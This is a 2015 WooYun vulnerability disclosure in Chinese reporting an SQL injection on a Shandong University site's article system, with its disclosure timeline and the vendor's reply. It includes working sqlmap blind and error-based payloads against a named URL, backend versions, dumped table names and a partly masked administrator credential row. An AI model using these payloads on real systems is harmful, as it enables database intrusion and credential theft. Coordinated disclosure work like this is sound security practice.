当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153302

漏洞标题:山东大学某处注入漏洞沦陷文章发布系统

相关厂商:山东大学

漏洞作者: 眼镜蛇

提交时间:2015-11-10 14:39

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-10: 细节已通知厂商并且等待厂商处理中
2015-11-17: 厂商已经确认,细节仅向厂商公开
2015-11-27: 细节向核心白帽子及相关领域专家公开
2015-12-07: 细节向普通白帽子公开
2015-12-17: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

山东大学某处注入漏洞沦陷文章发布系统

详细说明:

http://tjsl.sdu.edu.cn/TestCenter/SubPage/list.php?ClassID=1 and 1=1&pagenow=2
存在注入漏洞

Parameter: #1* (URI)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: http://tjsl.sdu.edu.cn:80/TestCenter/SubPage/list.php?ClassID=1 and 1=-3324 OR 5387=5387#&pagenow=2
Vector: OR [INFERENCE]#
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://tjsl.sdu.edu.cn:80/TestCenter/SubPage/list.php?ClassID=1 and 1=1 AND (SELECT 5525 FROM(SELECT COUNT(*),CONCAT(0x7170787671,(SELECT (ELT(5525=5525,1))),0x7171767071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&pagenow=2
Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
web application technology: PHP 5.2.13, Apache 2.2.15
back-end DBMS: MySQL 5.0


获得表名:

Database: tjsl
[37 tables]
+-----------------------+
| pe_article_鏉堟挸鍤柨娆抃\?af\\?af |
| pe_actions |
| pe_admin |
| pe_adzone |
| pe_announce |
| pe_article |
| pe_channel |
| pe_city |
| pe_class |
| pe_comment |
| pe_config |
| pe_consumelog |
| pe_contacter |
| pe_country |
| pe_delivertype |
| pe_dictionary |
| pe_friendsite |
| pe_histrolynews |
| pe_houseconfig |
| pe_infos |
| pe_item |
| pe_jsfile |
| pe_label |
| pe_log |
| pe_mailchannel |
| pe_menu |
| pe_newkeys |
| pe_payplatform |
| pe_province |
| pe_skin |
| pe_template |
| pe_templateproject |
| pe_user |
| pe_usergroup |
| pe_users |
| pe_usertype |
| pe_works |
+-----------------------+


文章发布系统管理员账户密码20个:
这里列出一个证明

[11 entries]
+----+---------------+-----------------+----------+
| id | username | password | usertype |
+----+---------------+-----------------+----------+
| 1 | administrator | ce****46 | 2 |
+----+---------------+-----------------+----------+

漏洞证明:

注入到管理内容管理系统后台:

1.png

修复方案:

参数过滤

版权声明:转载请注明来源 眼镜蛇@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2015-11-17 16:16

厂商回复:

已通报系统所属单位处置

最新状态:

暂无


漏洞评价:

评价